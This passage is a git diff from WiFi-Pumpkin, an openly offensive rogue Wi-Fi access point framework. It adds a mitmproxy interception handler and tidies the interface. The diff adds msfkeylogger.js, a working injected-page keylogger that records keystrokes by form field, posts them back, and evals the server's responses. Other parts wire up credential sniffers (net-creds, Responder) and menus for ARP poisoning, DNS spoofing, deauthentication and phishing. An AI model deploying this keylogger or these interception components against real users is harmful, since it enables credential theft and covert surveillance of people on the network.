to add features,' + " thank you for your contribution! ")) + self.imagePay = QLabel() + self.imagePay.setPixmap(QPixmap('icons/donatepay.gif')) + self.formDonate.addRow(QLabel('')) + self.formDonate.addRow(QLabel('Support Donations:')) + self.formDonate.addRow(self.imagePay) + self.formDonate.addRow(QLabel('Paypal:'),QLabel('WiFi-Pumpkin project - Paypal Donataion ')) + self.formDonate.addRow(QLabel('BTC:'),QLabel('1HBXz6XX3LcHqUnaca5HRqq6rPUmA3pf6f')) + self.TabDonate.setLayout(self.formDonate) + # Version Section self.formVersion.addRow(QLabel('Version: {}
'.format(self.version))) self.formVersion.addRow(QLabel('Using:')) @@ -147,6 +165,7 @@ def Qui_update(self): self.tabwid.addTab(self.TabVersion,'Version') self.tabwid.addTab(self.TabChangelog,'ChangeLog') self.tabwid.addTab(self.TabTranks,'TranksTo') + self.tabwid.addTab(self.TabDonate, 'Donate') self.form.addRow(self.tabwid) self.form2.addSpacing(240) self.form2.addWidget(self.btn_exit) diff --git a/core/helpers/report.py b/core/helpers/report.py index 2ba428a..178e3f9 100644 --- a/core/helpers/report.py +++ b/core/helpers/report.py @@ -60,7 +60,7 @@ def get_all_items_Unchecked(self): def convertIt(self,printer): # generate file pdf self.ExportPDF.print_(printer) - QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated with success.') + QMessageBox.information(self, 'WiFi Pumpkin Report PDF', 'file PDF has been generated successfully.') def exportFilesSystem(self): # export HTML or pdf file @@ -89,7 +89,7 @@ def exportFilesSystem(self): if len(filename[0]) != 0: with open(str(filename[0]),'w') as filehtml: filehtml.write(contents['HTML']),filehtml.close() - QMessageBox.information(self, 'WiFi Pumpkin Report HTML', 'file has been saved with success.') + QMessageBox.information(self, 'WiFi Pumpkin Report HTML', 'file logs has been saved successfully.') elif self.checkPDF.isChecked(): filename = QFileDialog.getSaveFileNameAndFilter(self, diff --git a/core/helpers/update.py b/core/helpers/update.py index f644398..8ed761b 100644 --- a/core/helpers/update.py +++ b/core/helpers/update.py @@ -138,7 +138,7 @@ def RcheckCommits(self,commits): item.setSizeHint(QSize(20,20)) self.LCommits.addItem(item) return self.btnCheck.setEnabled(True) - elif 'new Version available WiFi-Pumpkin v' in commits: + elif 'New version available WiFi-Pumpkin v' in commits: reply = QMessageBox.question(self, 'Update Information', '{}, would you like to update??'.format(commits), QMessageBox.Yes | QMessageBox.No, QMessageBox.No) @@ -159,7 +159,7 @@ def RcheckCommits(self,commits): elif '::updated' in commits: self.pb.update_bar(100) QMessageBox.information(self,'Update Information', - "Already up-to-date. You're required to restart the tool to apply this update.") + "Already up-to-date. Please restart WiFi-Pumpkin to apply this update.") self.btnUpdate.setDisabled(True) else: self.LOutput.addItem(commits) diff --git a/core/loaders/master/github.py b/core/loaders/master/github.py index a26ce76..67d3b56 100644 --- a/core/loaders/master/github.py +++ b/core/loaders/master/github.py @@ -83,7 +83,7 @@ def NewVersionUpdate(self): def checkUpdate(self,Version): if self.commit_update['Version'] != Version: - return self.emit(SIGNAL('Activated ( QString )'),'new Version available WiFi-Pumpkin v' + return self.emit(SIGNAL('Activated ( QString )'),'New version available WiFi-Pumpkin v' +self.commit_update['Version']) if self.commit_update['size'] > self.commit_local['size']: for commit in self.commit_update['lines'][self.commit_local['size']:]: diff --git a/core/loaders/models/PackagesUI.py b/core/loaders/models/PackagesUI.py index 7717a9d..ed46f84 100644 --- a/core/loaders/models/PackagesUI.py +++ b/core/loaders/models/PackagesUI.py @@ -2,6 +2,7 @@ from PyQt4.QtCore import * from core.utils import Refactor,set_monitor_mode from subprocess import Popen,PIPE +from core.utility.collection import SettingsINI from core.utility.settings import frm_Settings from modules.servers.PhishingManager import frm_PhishingManager from core.utility.threads import ThreadPopen,ThreadScan,ProcessThread,ThreadFastScanIP diff --git a/core/main.py b/core/main.py index 6ea5cfc..2941669 100644 --- a/core/main.py +++ b/core/main.py @@ -29,7 +29,7 @@ setup_logger ) from core.widgets.tabmodels import ( - PumpkinProxy,PumpkinMonitor, + ProxySSLstrip,PumpkinMitmproxy,PumpkinMonitor, PumpkinSettings ) @@ -40,10 +40,10 @@ from core.utility.threads import ( ProcessHostapd,Thread_sergioProxy, ThRunDhcp,Thread_sslstrip,ProcessThread, - ThreadReactor,ThreadPopen + ThreadReactor,ThreadPopen,ThreadPumpkinProxy ) -from proxy import * +from plugins.external.scripts import * import modules as GUIModules from core.helpers.about import frmAbout from core.helpers.update import frm_githubUpdate @@ -51,6 +51,7 @@ from core.helpers.update import ProgressBarWid from core.helpers.report import frm_ReportLogger from core.packets.dhcpserver import DHCPServer,DNSServer +from core.widgets.notifications import ServiceNotify from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases from netfilterqueue import NetfilterQueue @@ -79,7 +80,7 @@ author = 'Marcos Nesster (@mh4x0f) P0cl4bs Team' emails = ['mh4root@gmail.com','p0cl4bs@gmail.com'] license = ' GNU GPL 3' -version = '0.8.3' +version = '0.8.4' update = '12/10/2016' # This is Brasil :D desc = ['Framework for Rogue Wi-Fi Access Point Attacks'] @@ -165,6 +166,7 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.TabControl = QTabWidget() self.Tab_Default = QWidget() self.Tab_Injector = QWidget() + self.Tab_PumpkinPro = QWidget() self.Tab_Settings = QWidget() self.Tab_ApMonitor = QWidget() self.Tab_Plugins = QWidget() @@ -177,7 +179,6 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.dock.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.dock.setFeatures(QDockWidget.NoDockWidgetFeatures) self.dock.setAllowedAreas(Qt.AllDockWidgetAreas) - self.Tab_dock.addDockWidget(Qt.LeftDockWidgetArea, self.dock) # icons menus left widgets self.TabListWidget_Menu = QListWidget() @@ -200,11 +201,17 @@ def __init__(self, parent = None,window=None,Fsettings=None): self.TabListWidget_Menu.addItem(self.item_plugins) self.item_injector = QListWidgetItem() - self.item_injector.setText('Injector-Proxy') + self.item_injector.setText('SSLstrip-Proxy') self.item_injector.setSizeHint(QSize(30,30)) self.item_injector.setIcon(QIcon('icons/mac.png')) self.TabListWidget_Menu.addItem(self.item_injector) + self.item_pumpkinProxy = QListWidgetItem() + self.item_pumpkinProxy.setText('Pumpkin-Proxy') + self.item_pumpkinProxy.setSizeHint(QSize(30,30)) + self.item_pumpkinProxy.setIcon(QIcon('icons/pumpkinproxy.png')) + self.TabListWidget_Menu.addItem(self.item_pumpkinProxy) + self.item_dock = QListWidgetItem() self.item_dock.setText('Activity-Monitor') self.item_dock.setSizeHint(QSize(30,30)) @@ -232,13 +239,15 @@ def __init__(self, parent = None,window=None,Fsettings=None): # create Layout for add contents widgets TABs self.ContentTabHome = QVBoxLayout(self.Tab_Default) - self.ContentTabInject = QVBoxLayout(self.Tab_Injector) self.ContentTabsettings= QVBoxLayout(self.Tab_Settings) + self.ContentTabInject = QVBoxLayout(self.Tab_Injector) + self.ContentTabPumpPro = QVBoxLayout(self.Tab_PumpkinPro) self.ContentTabMonitor = QVBoxLayout(self.Tab_ApMonitor) self.ContentTabPlugins = QVBoxLayout(self.Tab_Plugins) self.Stack.addWidget(self.Tab_Settings) self.Stack.addWidget(self.Tab_Plugins) self.Stack.addWidget(self.Tab_Injector) + self.Stack.addWidget(self.Tab_PumpkinPro) self.Stack.addWidget(self.Tab_dock) self.Stack.addWidget(self.Tab_ApMonitor) @@ -267,6 +276,10 @@ def __init__(self, parent = None,window=None,Fsettings=None): 'Responder': { # plugins responder output 'active' : self.FSettings.Settings.get_setting('dockarea', 'dock_Responder',format=bool), + }, + 'PumpkinProxy': { # plugins Pumpkin-Proxy output + 'active' : self.FSettings.Settings.get_setting('dockarea', + 'dock_PumpkinProxy',format=bool), } } self.ConfigTwin = { @@ -310,10 +323,15 @@ def get_status_new_commits(self,flag): def InjectorTABContent(self): ''' add Layout page Pump-Proxy in dashboard ''' - self.ProxyPluginsTAB = PumpkinProxy(self.PopUpPlugins,self,self.FSettings) + self.ProxyPluginsTAB = ProxySSLstrip(self.PopUpPlugins,self,self.FSettings) self.ProxyPluginsTAB.sendError.connect(self.GetErrorInjector) self.ContentTabInject.addLayout(self.ProxyPluginsTAB) + def PumpkinProxyTABContent(self): + ''' add Layout page PumpkinProxy in dashboard ''' + self.PumpkinProxyTAB = PumpkinMitmproxy(main_method=self) + self.ContentTabPumpPro.addLayout(self.PumpkinProxyTAB) + def getContentTabDock(self,docklist): ''' get tab activated in Advanced mode ''' self.dockAreaList = docklist @@ -421,11 +439,12 @@ def DefaultTABContent(self): action = QWidgetAction(self.btnHttpServer) action.setDefaultWidget(self.FormPopup) self.btnHttpServer.menu().addAction(action) + self.btnHttpServer.setHidden(True) self.GroupAP = QGroupBox() self.GroupAP.setTitle('Access Point::') self.FormGroup3.addRow('Gateway:', self.EditGateway) - self.FormGroup3.addRow('SSID:', self.EditApName) + self.FormGroup3.addRow('SSID:', self.EditApName) self.FormGroup3.addRow('Channel:', self.EditChannel) self.GroupAP.setLayout(self.FormGroup3) self.GroupAP.setFixedWidth(200) @@ -434,15 +453,13 @@ def DefaultTABContent(self): self.btrn_refresh = QPushButton('Refresh') self.btrn_refresh.setIcon(QIcon('icons/refresh.png')) self.btrn_refresh.clicked.connect(self.refrash_interface) - self.btrn_refresh.setFixedWidth(120) - self.selectCard.setFixedWidth(120) + self.btrn_refresh.setFixedWidth(90) + self.btrn_refresh.setFixedHeight(25) self.layout = QFormLayout() self.GroupAdapter = QGroupBox() self.GroupAdapter.setTitle('Network Adapter::') - self.layout.addRow(self.selectCard) - self.layout.addRow(self.btrn_refresh) - self.layout.addRow(self.btnHttpServer) + self.layout.addRow(self.selectCard,self.btrn_refresh) self.GroupAdapter.setLayout(self.layout) self.btn_start_attack = QPushButton('Start', self) @@ -463,9 +480,14 @@ def DefaultTABContent(self): self.slipt.addWidget(self.GroupAP) self.slipt.addWidget(self.GroupAdapter) + self.donatelink = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL' + self.donateLabel = ServiceNotify('Donations allow us to devote more time to the project so' + ' if you are able to donate any amount. click ',title='Attention', + link=self.donatelink,timeout=15000) # set main page Tool self.widget = QWidget() self.layout = QVBoxLayout(self.widget) + self.layout.addWidget(self.donateLabel) self.layout.addWidget(self.TabInfoAP) self.Main_.addWidget(self.widget) self.ContentTabHome.addLayout(self.Main_) @@ -474,6 +496,7 @@ def intGUI(self): ''' configure GUI default window ''' self.DefaultTABContent() self.InjectorTABContent() + self.PumpkinProxyTABContent() self.SettingsTABContent() self.ApMonitorTabContent() self.PluginsTABContent() @@ -517,21 +540,19 @@ def intGUI(self): Menu_tools.addAction(btn_drift) #menu module - Menu_module = self.myQMenuBar.addMenu('&modules') - btn_deauth = QAction('Deauth W. Attack', self) - btn_probe = QAction('Probe W. Request',self) - btn_mac = QAction('Mac Changer', self) - btn_dhcpStar = QAction('DHCP S. Attack',self) + Menu_module = self.myQMenuBar.addMenu('&Modules') + btn_deauth = QAction('Wi-Fi deauthentication', self) + btn_probe = QAction('Wi-Fi Probe Request',self) + btn_dhcpStar = QAction('DHCP Starvation',self) btn_winup = QAction('Windows Update',self) - btn_arp = QAction('Arp Poison Attack',self) - btn_dns = QAction('Dns Spoof Attack',self) + btn_arp = QAction('ARP Poisoner ',self) + btn_dns = QAction('DNS Spoofer ',self) btn_phishing = QAction('Phishing Manager',self) - action_settings = QAction('settings',self) + action_settings = QAction('Settings',self) # Shortcut modules btn_deauth.setShortcut('Ctrl+W') btn_probe.setShortcut('Ctrl+K') - btn_mac.setShortcut('Ctrl+M') btn_dhcpStar.setShortcut('Ctrl+H') btn_winup.setShortcut('Ctrl+N') btn_dns.setShortcut('ctrl+D') @@ -542,7 +563,6 @@ def intGUI(self): #connect buttons btn_probe.triggered.connect(self.showProbe) btn_deauth.triggered.connect(self.formDauth) - btn_mac.triggered.connect(self.form_mac) btn_dhcpStar.triggered.connect(self.show_dhcpDOS) btn_winup.triggered.connect(self.show_windows_update) btn_arp.triggered.connect(self.show_arp_posion) @@ -554,7 +574,6 @@ def intGUI(self): btn_arp.setIcon(QIcon('icons/arp_.png')) btn_winup.setIcon(QIcon('icons/arp.png')) btn_dhcpStar.setIcon(QIcon('icons/dhcp.png')) - btn_mac.setIcon(QIcon('icons/mac-changer.png')) btn_probe.setIcon(QIcon('icons/probe.png')) btn_deauth.setIcon(QIcon('icons/deauth.png')) btn_dns.setIcon(QIcon('icons/dns_spoof.png')) @@ -564,7 +583,6 @@ def intGUI(self): # add modules menu Menu_module.addAction(btn_deauth) Menu_module.addAction(btn_probe) - Menu_module.addAction(btn_mac) Menu_module.addAction(btn_dhcpStar) Menu_module.addAction(btn_winup) Menu_module.addAction(btn_arp) @@ -651,11 +669,6 @@ def formDauth(self): self.Fdeauth.setGeometry(QRect(100, 100, 200, 200)) self.Fdeauth.show() - def form_mac(self): - ''' call GUI Mac changer module ''' - self.Fmac = GUIModules.frm_mac_generator() - self.Fmac.setGeometry(QRect(100, 100, 300, 100)) - self.Fmac.show() def show_dns_spoof(self): ''' call GUI DnsSpoof module ''' @@ -702,6 +715,8 @@ def checkPlugins(self): if self.FSettings.Settings.get_setting('plugins','dns2proxy_plugin',format=bool): self.PopUpPlugins.check_dns2proy.setChecked(True) + elif self.FSettings.Settings.get_setting('plugins','pumpkinproxy_plugin',format=bool): + self.PopUpPlugins.check_pumpkinProxy.setChecked(True) elif self.FSettings.Settings.get_setting('plugins','sergioproxy_plugin',format=bool): self.PopUpPlugins.check_sergioProxy.setChecked(True) elif self.FSettings.Settings.get_setting('plugins','bdfproxy_plugin',format=bool): @@ -854,10 +869,18 @@ def mConfigure(self): self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','ssid')) self.EditChannel.setValue(self.FSettings.Settings.get_setting('accesspoint','channel',format=int)) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() + # get all Wireless Adapter available and add in comboBox - for i,j in enumerate(self.get_interfaces['all']): - if search('wl', j): - self.selectCard.addItem(self.get_interfaces['all'][i]) + interfaces = self.get_interfaces['all'] + wireless = [] + for iface in interfaces: + if search('wl', iface): + wireless.append(iface) + self.selectCard.addItems(wireless) + interface = self.FSettings.Settings.get_setting('accesspoint','interfaceAP') + if interface != 'None' and interface in self.get_interfaces['all']: + self.selectCard.setCurrentIndex(wireless.index(interface)) + # check if a program is installed driftnet = popen('which driftnet').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") @@ -936,6 +959,7 @@ def Stop_PumpAP(self): self.EditChannel.setEnabled(True) self.PumpSettingsTAB.GroupDHCP.setEnabled(True) self.PopUpPlugins.tableplugins.setEnabled(True) + self.PopUpPlugins.tableplugincheckbox.setEnabled(True) self.btn_cancelar.setEnabled(False) def delete_logger(self): @@ -1167,6 +1191,7 @@ def Start_PumpAP(self): self.EditChannel.setEnabled(False) self.PumpSettingsTAB.GroupDHCP.setEnabled(False) self.PopUpPlugins.tableplugins.setEnabled(False) + self.PopUpPlugins.tableplugincheckbox.setEnabled(False) self.btn_cancelar.setEnabled(True) # create thread dhcpd and connect fuction GetDHCPRequests @@ -1195,18 +1220,19 @@ def Start_PumpAP(self): self.FSettings.Settings.set_setting('accesspoint','interfaceAP',str(self.selectCard.currentText())) - # load ProxyPLugins - self.plugin_classes = Plugin.PluginProxy.__subclasses__() - self.plugins = {} - for p in self.plugin_classes: - self.plugins[p._name] = p() - # check plugins that use sslstrip if self.PopUpPlugins.check_dns2proy.isChecked() or self.PopUpPlugins.check_sergioProxy.isChecked(): + # load ProxyPLugins + self.plugin_classes = Plugin.PluginProxy.__subclasses__() + self.plugins = {} + for p in self.plugin_classes: + self.plugins[p._name] = p() + # check if twisted is started if not self.THReactor.isRunning(): self.THReactor.start() + if self.PopUpPlugins.check_netcreds.isChecked(): - self.Thread_netcreds = ProcessThread({'python':['plugins/net-creds/net-creds.py','-i', + self.Thread_netcreds = ProcessThread({'python':['plugins/external/net-creds/net-creds.py','-i', str(self.selectCard.currentText()),'-k',self.currentSessionID]}) self.Thread_netcreds._ProcssOutput.connect(self.get_netcreds_output) self.Thread_netcreds.setObjectName('Net-Creds') @@ -1216,7 +1242,7 @@ def Start_PumpAP(self): # create thread for plugin responder setup_logger('responder', 'logs/AccessPoint/responder.log',self.currentSessionID) self.responderlog = getLogger('responder') - self.Thread_responder = ProcessThread({'python':['plugins/Responder/Responder.py','-I', + self.Thread_responder = ProcessThread({'python':['plugins/external/Responder/Responder.py','-I', str(self.selectCard.currentText()),'-wrFbv','-k',self.currentSessionID]}) self.Thread_responder._ProcssOutput.connect(self.get_responder_output) self.Thread_responder.setObjectName('Responder') @@ -1224,7 +1250,7 @@ def Start_PumpAP(self): if self.PopUpPlugins.check_dns2proy.isChecked(): # create thread for plugin DNS2proxy - self.Thread_dns2proxy = ProcessThread({'python':['plugins/dns2proxy/dns2proxy.py','-i', + self.Thread_dns2proxy = ProcessThread({'python':['plugins/external/dns2proxy/dns2proxy.py','-i', str(self.selectCard.currentText()),'-k',self.currentSessionID]}) self.Thread_dns2proxy._ProcssOutput.connect(self.get_dns2proxy_output) self.Thread_dns2proxy.setObjectName('Dns2Proxy') @@ -1245,12 +1271,21 @@ def Start_PumpAP(self): elif self.PopUpPlugins.check_bdfproxy.isChecked(): # create thread for plugin BDFproxy-ng - self.Thread_bdfproxy = ProcessThread({'python':['plugins/BDFProxy-ng/bdf_proxy.py', - '-k',self.currentSessionID]}) + self.Thread_bdfproxy = ProcessThread({'python': + ['plugins/external/BDFProxy-ng/bdf_proxy.py','-k',self.currentSessionID]}) self.Thread_bdfproxy._ProcssOutput.connect(self.get_bdfproxy_output) self.Thread_bdfproxy.setObjectName('BDFProxy-ng') self.Apthreads['RougeAP'].append(self.Thread_bdfproxy) + elif self.PopUpPlugins.check_pumpkinProxy.isChecked(): + # create thread for plugin Pumpkin-Proxy + setup_logger('pumpkinproxy', 'logs/AccessPoint/pumpkin-proxy.log',self.currentSessionID) + self.Thread_PumpkinProxy = ThreadPumpkinProxy(self.currentSessionID) + self.Thread_PumpkinProxy.send.connect(self.get_PumpkinProxy_output) + self.Thread_PumpkinProxy.setObjectName('Pumpkin-Proxy') + self.Apthreads['RougeAP'].append(self.Thread_PumpkinProxy) + self.LogPumpkinproxy = getLogger('pumpkinproxy') + iptables = [] # get all rules in settings->iptables for index in xrange(self.FSettings.ListRules.count()): @@ -1317,6 +1352,14 @@ def get_bdfproxy_output(self,data): except IndexError: return None + def get_PumpkinProxy_output(self,data): + ''' get std_ouput the thread Pumpkin-Proxy and add in DockArea ''' + if self.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + if hasattr(self,'dockAreaList'): + if self.PumpSettingsTAB.dockInfo['PumpkinProxy']['active']: + self.dockAreaList['PumpkinProxy'].writeModeData(data) + self.LogPumpkinproxy.info(data) + def create_sys_tray(self): ''' configure system tray icon for quick access ''' self.sysTray = QSystemTrayIcon(self) @@ -1347,6 +1390,5 @@ def issue(self): def donate(self): ''' open page donation the project ''' - url = QUrl('https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=PUPJEGHLJPFQL') - if not QDesktopServices.openUrl(url): - QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(url)) + if not QDesktopServices.openUrl(self.donatelink): + QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(self.donatelink)) diff --git a/plugins/BDFProxy-ng/bdf/__init__.py b/core/servers/__init__.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/__init__.py rename to core/servers/__init__.py diff --git a/plugins/BDFProxy-ng/bdf/arm/__init__.py b/core/servers/proxy/__init__.py similarity index 100% rename from plugins/BDFProxy-ng/bdf/arm/__init__.py rename to core/servers/proxy/__init__.py diff --git a/core/servers/proxy/controller/__init__.py b/core/servers/proxy/controller/__init__.py new file mode 100644 index 0000000..8d1c8b6 --- /dev/null +++ b/core/servers/proxy/controller/__init__.py @@ -0,0 +1 @@ + diff --git a/core/servers/proxy/controller/handler.py b/core/servers/proxy/controller/handler.py new file mode 100644 index 0000000..0d95dd4 --- /dev/null +++ b/core/servers/proxy/controller/handler.py @@ -0,0 +1,120 @@ +from plugins.extension import * +from threading import Thread +from core.utility.collection import SettingsINI +from mitmproxy import controller, proxy +from mitmproxy.proxy.server import ProxyServer + + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + for Pumpkin-Proxy Core. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class ThreadController(Thread): + def __init__(self,main ,parent=None): + super(ThreadController, self).__init__(parent) + self.main = main + + def run(self): + try: + controller.Master.run(self.main) + except : + self.main.shutdown() + + def stop(self): + self.main.shutdown() + + +class MasterHandler(controller.Master): + def __init__(self, server,session): + controller.Master.__init__(self, server) + self.config = SettingsINI('core/config/app/proxy.ini') + self.session = session + self.plugins = [] + self.initializePlugins() + + def run(self,send): + self.sendMethod = send + for plugin in self.plugins: + plugin.send_output = self.sendMethod + self.thread = ThreadController(self) + self.thread.start() + + def disablePlugin(self,name, status): + ''' disable plugin by name ''' + plugin_on = [] + if status: + for plugin in self.plugins: + plugin_on.append(plugin.Name) + if name not in plugin_on: + for p in self.plugin_classes: + pluginconf = p() + if pluginconf.Name == name: + pluginconf.send_output = self.sendMethod + print('plugin:{0:17} status:On'.format(name)) + self.plugins.append(pluginconf) + else: + for plugin in self.plugins: + if plugin.Name == name: + print('plugin:{0:17} status:Off'.format(name)) + self.plugins.remove(plugin) + + def initializePlugins(self): + self.plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in self.plugin_classes: + if self.config.get_setting('plugins',p().Name,format=bool): + print('plugins::{0:17} status:On'.format(p().Name)) + self.plugins.append(p()) + # initialize logging in all plugins enable + #for instance in self.plugins: + # instance.init_logger(self.session) + + def handle_request(self, flow): + ''' + print "-- request --" + print flow.__dict__ + print flow.request.__dict__ + print flow.request.headers.__dict__ + print "--------------" + print + ''' + try: + for p in self.plugins: + p.request(flow) + except Exception: + pass + flow.reply() + + def handle_response(self, flow): + + ''' + print + print "-- response --" + print flow.__dict__ + print flow.response.__dict__ + print flow.response.headers.__dict__ + print "--------------" + print + ''' + try: + for p in self.plugins: + p.response(flow) + except Exception: + pass + flow.reply() \ No newline at end of file diff --git a/core/servers/proxy/scripts/msfkeylogger.js b/core/servers/proxy/scripts/msfkeylogger.js new file mode 100644 index 0000000..ef44855 --- /dev/null +++ b/core/servers/proxy/scripts/msfkeylogger.js @@ -0,0 +1,117 @@ +window.onload = function (){ + var2 = ","; + name = ''; + function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + + if (window.addEventListener){ + //console.log("first"); + document.addEventListener('keypress', function2, true); + document.addEventListener('keydown', function1, true); + } + else if (window.attachEvent){ + //console.log("second"); + document.attachEvent('onkeypress', function2); + document.attachEvent('onkeydown', function1); + } + else { + //console.log("third"); + document.onkeypress = function2; + document.onkeydown = function1; + } +} + +function function2(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 0) + { + var3 = e.charCode + } + + if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) + { + andxhr(var3.toString(16), srcname); + } +} + +function function1(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 9 || var3 == 8 || var3 == 13) + { + andxhr(var3.toString(16), srcname); + } + else if (var3 == 0) + { + + text = document.getElementById(id).value; + if (text.length != 0) + { + andxhr(text.toString(16), srcname); + } + } + +} +function andxhr(key, inputName) +{ + if (inputName != name) + { + name = inputName; + var2 = ","; + } + var2= var2 + key + ","; + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xhr.send(var2 + '&&' + inputName); + + if (key == 13 || var2.length > 3000) + { + var2 = ","; + } +} diff --git a/core/themes/themeDefault.qss b/core/themes/themeDefault.qss index 6c3dfad..d5b17bd 100644 --- a/core/themes/themeDefault.qss +++ b/core/themes/themeDefault.qss @@ -72,7 +72,6 @@ QWidget QWidget:item:hover { background-color: #3A3939; - color: black; } QWidget:item:selected @@ -987,6 +986,16 @@ QTableView::item:selected:active, QTreeView::item:selected:active, QListView::it color: #FFFFFF; } +QTableView::item:hover { + background: #3A3939; + color: #FFFFFF; +} + +QTableView::item:selected { + background: #3A3939; + color: #FFFFFF; +} + QHeaderView { diff --git a/core/utility/settings.py b/core/utility/settings.py index 295633a..573a61b 100644 --- a/core/utility/settings.py +++ b/core/utility/settings.py @@ -177,9 +177,8 @@ def get_options_hostapd(self,option): class frm_Settings(QDialog): def __init__(self, parent = None): super(frm_Settings, self).__init__(parent) - self.setWindowTitle('settings WiFi-Pompkin') + self.setWindowTitle('WiFi-Pompkin - Settings') self.Settings = SettingsINI('core/config/app/config.ini') - self.bdfproxyConf = SettingsINI(self.Settings.get_setting('plugins','bdfproxy_config')) self.loadtheme(self.XmlThemeSelected()) self.setGeometry(0, 0, 420, 440) self.center() @@ -266,7 +265,7 @@ def listItemclicked(self,pos): except Exception as e: return QMessageBox.information(self,'error',str(e)) elif action == editem: - text, resp = QInputDialog.getText(self, 'Add rules iptables', + text, resp = QInputDialog.getText(self, 'Add rules for iptables', 'Enter the rules iptables:',text=self.ListRules.item(self.ListRules.currentRow()).text()) if resp: try: @@ -305,13 +304,13 @@ def Qui(self): self.tabcontrol.addTab(self.tab1, 'General') self.tabcontrol.addTab(self.tab2, 'Advanced') self.tabcontrol.addTab(self.tab3,'Iptables') - self.tabcontrol.addTab(self.tab4,'hostpad') + self.tabcontrol.addTab(self.tab4,'Hostpad') self.pageTab1 = SettingsTabGeneral(self.Settings) self.page_1.addLayout(self.pageTab1) self.groupAdvanced = QGroupBox() - self.groupAdvanced.setTitle('Advanced settings:') + self.groupAdvanced.setTitle('Advanced Settings:') self.groupAdvanced.setLayout(self.formGroupAd) self.btn_save = QPushButton('Save') @@ -321,14 +320,12 @@ def Qui(self): #page Adavanced - self.bdfProxy_port = QSpinBox() - self.bdfProxy_port.setMaximum(10000) self.txt_ranger = QLineEdit(self) self.txt_arguments = QLineEdit(self) - self.scan1 = QRadioButton('Ping Scan:: Very fast scan IP') + self.scan1 = QRadioButton('Ping Scan:: Very fast IP scan') self.scan2 = QRadioButton('Python-Nmap:: Get hostname from IP') self.redirectport = QLineEdit(self) - self.check_interface_mode_AP = QCheckBox('Check if interface has been support AP/Mode') + self.check_interface_mode_AP = QCheckBox('Check if interface supports AP/Mode') self.check_interface_mode_AP.setChecked(self.Settings.get_setting('accesspoint','check_support_ap_mode',format=bool)) self.check_interface_mode_AP.setToolTip('if you disable this options in next time, the interface is not should ' 'checked if has support AP mode.') @@ -360,8 +357,6 @@ def Qui(self): self.txt_ranger.setText(self.Settings.get_setting('settings','scanner_rangeIP')) self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3')) - self.bdfProxy_port.setValue(int(self.bdfproxyConf.get_setting('Overall','proxyPort'))) - self.bdfProxy_port.setEnabled(False) self.scan2.setEnabled(False) self.scan1.setChecked(True) #settings tab Advanced @@ -372,7 +367,6 @@ def Qui(self): self.formGroupAd.addRow(self.scan1) self.formGroupAd.addRow(self.scan2) self.formGroupAd.addRow(self.check_interface_mode_AP) - self.formGroupAd.addRow('Port BDFProxy-ng',self.bdfProxy_port) self.formGroupAd.addRow('Port sslstrip:',self.redirectport) self.formGroupAd.addRow(QLabel('mdk3 Args:'),self.txt_arguments) self.formGroupAd.addRow(QLabel('Range Scanner:'),self.txt_ranger) diff --git a/core/utility/threads.py b/core/utility/threads.py index 49f7cd6..9109500 100644 --- a/core/utility/threads.py +++ b/core/utility/threads.py @@ -1,6 +1,6 @@ -import argparse import logging import signal +import argparse import threading from re import search from sys import stdout @@ -14,12 +14,33 @@ from subprocess import (Popen,PIPE,STDOUT) from PyQt4.QtCore import QThread,pyqtSignal,SIGNAL,pyqtSlot,QProcess,QObject,SLOT from PyQt4.QtGui import QMessageBox -from plugins.sergio_proxy.plugins import * +from plugins.external.sergio_proxy.plugins import * from multiprocessing import Process,Manager -try: - from nmap import PortScanner -except ImportError: - pass +from core.servers.proxy.controller.handler import MasterHandler +from mitmproxy import controller, proxy +from mitmproxy.proxy.server import ProxyServer + +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + for threads core program. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR 